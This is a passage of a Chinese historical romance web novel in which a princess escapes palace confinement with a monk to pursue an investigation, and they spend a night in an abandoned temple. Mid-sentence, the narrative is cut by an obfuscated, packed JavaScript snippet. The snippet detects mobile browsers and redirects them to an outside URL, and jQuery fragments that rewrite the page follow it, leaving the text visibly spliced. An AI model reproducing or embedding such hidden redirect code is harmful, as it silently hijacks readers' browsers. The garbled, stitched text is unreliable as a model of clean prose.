萧晏怔住脚步道:“人生在世,万般所求非能皆如愿,还望李大人能放下执念,方能获得快乐。”
李珏红了脸道:“你给不了的幸福,怎知我不能给?”
“你想给的,未必是她想要的,李大人还是随缘的好。”
“你若是能给她幸福,又何必要出家为僧?你既已出家为僧,又为何要回来招惹她?正是你这样犹豫不决,才会害了她。不若你爽快离开,我能给她幸福。一日两日,一年两年,哪怕十年我都能等待。”李珏虽然文弱,语气却异常坚定。
“若是她也义无反顾选择你,我自无异。”
“那我也有追求公主的权利。”说着李珏故意走到萧晏前头去,还将发丝甩到后面,潇洒地留了个背影。
昭阳殿内,季语姝仔细地听着李珏的汇报,听完后总结道:“你是说顾中丞的案中涉世的人都被轻扫干净了,冯复他不知为何留了性命,但是不再为官了。查得这么艰难是因为改名换姓隐居了,最后一次使用这个名字是出现在扬州一代?”
李珏点头道:“是这样,但是他现在改成何名,就无从得知了。”
“那从户部能不能查到?”季语姝问道。
“只怕是难,他本是应受牵连的罪臣,户部更不会给他更换户籍,只怕目前是个黑户。”李珏解释道。
季语姝若有所思道:“那正经的事他也找不到,只能做些不入流的糊口。”
萧晏补充道:“冯复是个书法家,但他为了保命避嫌,恐怕也不能卖字为生。”
“据调查,冯复本就是江淮人士,获罪避难自然会更偏信自己生活熟悉的地方,臣猜想,他应当就在扬州一代不会走远。”李珏推断道。
季语姝眼波如水望着萧晏,道:“那咱们回禀母后,这两日便启程去扬州。”萧晏未给回复,季语姝希冀的眼神逐渐暗淡下去。萧晏对上她忧愁的眼眸,心下一软,便柔声道:“好。”李珏赶紧也说:“殿下,正好吏部在扬州有陈年积案,我会回禀尚书,派我前去调查,跟你们一块启程。”
季语姝自然不想双人行又多一盏明灯,便阻拦道:“李珏,你莫去,吏部本就人手紧张,少不得你。”
“殿下……”季语姝投来一个哀怨的眼神,便封住了他的口,他改口道:“是,殿下,我就在朝中守着,等着你们归来。”说完不甘愿地抱拳垂手。
季语姝要去扬州这件事闹得沸沸扬扬,皇后自是不能答应,孤男寡女同处这么久,皇后自然是不放心,干脆将季语姝锁了起来,不让她出门,季语嫣想替姐姐求情,却每每被皇后斥责,她也只能干着急。季语姝从拒绝反抗,到后面只能低声啜泣,已失了所有力气。她更害怕萧晏丢下她走了。
入夜,一阵勋声传入季语姝的耳中,初时没有在意,渐渐地,那勋声时高时低,如泣如诉,如蒙蒙细雨飘散在薄雾,如雨水沿着屋脊叮当落在堂下,也滴落在季语姝的心中。那曲子正如季语姝现下的心境一般,孤单而无助。她听着那勋声从远至近,竟如在耳边一般。
月影下,一道瘦削高挑的影子落在了窗前,倚靠在床边的季语姝突然眼前一亮,她伸手轻轻触碰那影子,轻声问道:“萧郎,是你吗?”
月影沉默,半晌柔声道:“殿下,是我。”
季语姝喜极而泣道:“你没走,你没走。太好了,你能带我走吗?”
“此番正是为此而来。”他旋掌带起一阵掌风,轻轻一推,还未触及到窗,窗沿上的钉木便全部掉落下来,佳人重现在眼前,几日不见更加消瘦,因无心装扮反而更显清丽,只是眼睛肿肿的,似乎眼泪都干涸了。他俯身向前,半个身子顺着窗户钻入房内,一手轻轻将季语姝带起,另一只手顺手捧起了她,季语姝自然地将手环住他的脖子,顺着他的力气,便从窗户出来了。
月影下二人皆红着脸,谁也没有松手,也不敢望向彼此,季语姝安心地说道:“我以为你走了。”
“我答应你了,要带你一起查明此案。”
季语姝略有些失落地问道:“仅是因为承诺吗?”
萧晏没有回话,季语姝轻吸了一口啜泣道:“你怎得今日才来?”
“殿下,我来迟了。”萧晏不知如何告诉她,自己也曾想过要不要自行前往扬州,可是他只要一想象到季语姝失落的眼神,便无法狠下心来,所以这才纠结了几天,决定带她一起走。
季语姝也没多问,略带点兴奋道:“咱们就这样私奔了吗?”
“……殿下,别这样说。”萧晏无奈道。
“无妨,等回来再和母后请罪吧,咱们快些出发吧。对了,你是怎么进来的,门口不是有守卫吗?他们都没有发现你吹勋吗?”季语姝疑惑地问。
“阿弥陀佛,他们被我打晕了。”萧晏一本正经地说道。
“……”季语姝接着哈哈一笑道,“特殊之时,行特殊之事。佛祖也会理解你的,咱们快些走吧。”
说着二人便并行,萧晏抱着她从高高的城墙上跃了下去。
萧晏担忧道:“估计明早宫中就会知道殿下逃走了,势必要追上来的,不知公主几日未进食,身体可还支撑得住?”
季语姝拍拍自己的胳膊,道:“放心吧,皮实得很,那咱们快些走,走得越远越好。”说完她便转身欲走,谁知饿了几天的她感觉有些头晕,一下没站稳,差点跪了下去。萧晏一把扶住季语姝的腰身,把她打横抱了起来,然后微微弓下身子,将她轻轻放到背上,背起她前行。季语姝都能听到自己的心在他的身上狂跳。萧晏也觉得两颗心交织在一起,心跳渐渐归于一处。
他们找了个荒弃的庙宇,准备凑合一晚上。夜凉如水,季语姝本就几日未进食,在漏风的庙里,更是冻得瑟瑟发抖,为了不让萧晏看出她的窘迫,不让他担心,她背过去,咬着牙佯装不冷,待萧晏坐定闭目入睡的时候,身体才忍不住往一起缩了缩,不知过了多久,才浅浅进入梦乡。萧晏轻轻睁开眼睛,看着睡着的人儿将腿紧紧靠近胸前缩成了一团,将身上的僧服解下,叠成了双层,盖在她身上,从肩到脚盖了个严实,眼前的人儿才睡得踏实些。
寒凉不住地钻入
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15371614|167619||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他的身体,勾起了体内被暂时压制住的玄冥掌,由内到外地散发着寒意,似是要把骨髓全部冻住。若是不运用压制,只怕是今晚也难捱,他只得调理气息,深吸口气,气沉丹田,让体内的真气游走于身体的各处,以逼走寒气。可那两股真气不断地冲撞,再加上最近新习得的心经,三股真气不停地在腹内碰撞,内脏仿佛被绞在一起,他尝试将千峰的真气引入四肢处,可那股子气太霸道,将他的四肢仿佛打碎,骨血相融。他一下倒靠在了柱子上,差点吐了血,倚靠了一个时辰方才好些。
季语姝一夜睡得很沉,直到一股香味将她唤醒,等到她问着味坐起来的时候,才发现身上披着一件浅灰色的麻衣,而萧晏正身着一身素白色的内衬端坐在墙边,面前烤着火,上面串着一串鱼,那香味儿就是烤鱼传来的。
“这附近有鱼吗?”季语姝披着他的麻衣,坐到他侧旁问道。
“找了一处小水塘,里面碰巧有几条鱼。”萧晏将鱼翻了个面悠悠烤着。
“出家人不是要吃素吗?”说着季语姝肚子咕咕得叫了起来。萧晏瞥了她一眼,季语姝低下头去笑了一下,再抬起头的时候,烤鱼已经凑到她鼻子前了,她也不客气,连着串儿就嗦了起来,还称赞道:“你别说,味道真不赖。”然后她将其中一串递回他面前,问道:“你不吃吗?”
“出家人不能食荤。”萧晏闭目养神。
“可是你都杀了它了,反正已经杀生了,索性不如吃了呢,你瞧你也太瘦了,总要吃点补补的,你抱我的时候,我都怕摔下去。”季语姝突然停住了,意识到说多了话,嘴里的鱼也哽在嘴里,不知该吐出来还是咽下去。
萧晏也没搭茬,只是说道:“我杀它前,念了几遍阿弥陀佛。”
季语姝觉得萧晏也没在意,也大胆了起来,问道:“那你抱我的之前,也念阿弥陀佛了吗?”
“……”萧晏闭上眼睛不搭理她。
“你干嘛不理我,到底念了没有。”季语姝不厌其烦地追问着。
萧晏被她吵得不耐烦,便回答道:“没有。”
“那你为什么不念,佛家不是也不许近女色吗?”季语姝调侃道。
“救你的时候情况紧急,没来及念,佛祖会谅解的。”
看着萧晏的心情不错,也没有抗拒她的意思,季语姝便越发大胆,随心所欲地说道:“嘁,你定是诚心想抱我,所以才没念的。”
“不是,那时候来不及想你是男是女。”萧晏如实回答道。
季语姝被又一次驳回,嘟嘴皱了皱小鼻子,甚是可爱,脸上还残留着鱼皮,更加纯真,看得萧晏不禁心跳漏了一下。他情不自禁地伸出手,深情凝望着如软玉般的脸庞,手悬停在半空中。季语姝看着萧晏这模样,也不禁动了情,以为这块硬石头终于被自己捂热了,还媚眼如波地往旁边瞥了一眼,轻轻撇过头去,静静等着他的触摸。
谁知他用如葱的手指将鱼皮捏了下去,一本正经地念了一声:“阿弥陀佛,吃饭不雅,有失礼仪。”季语姝羞怒,小手捏成拳,轻轻砸了上去。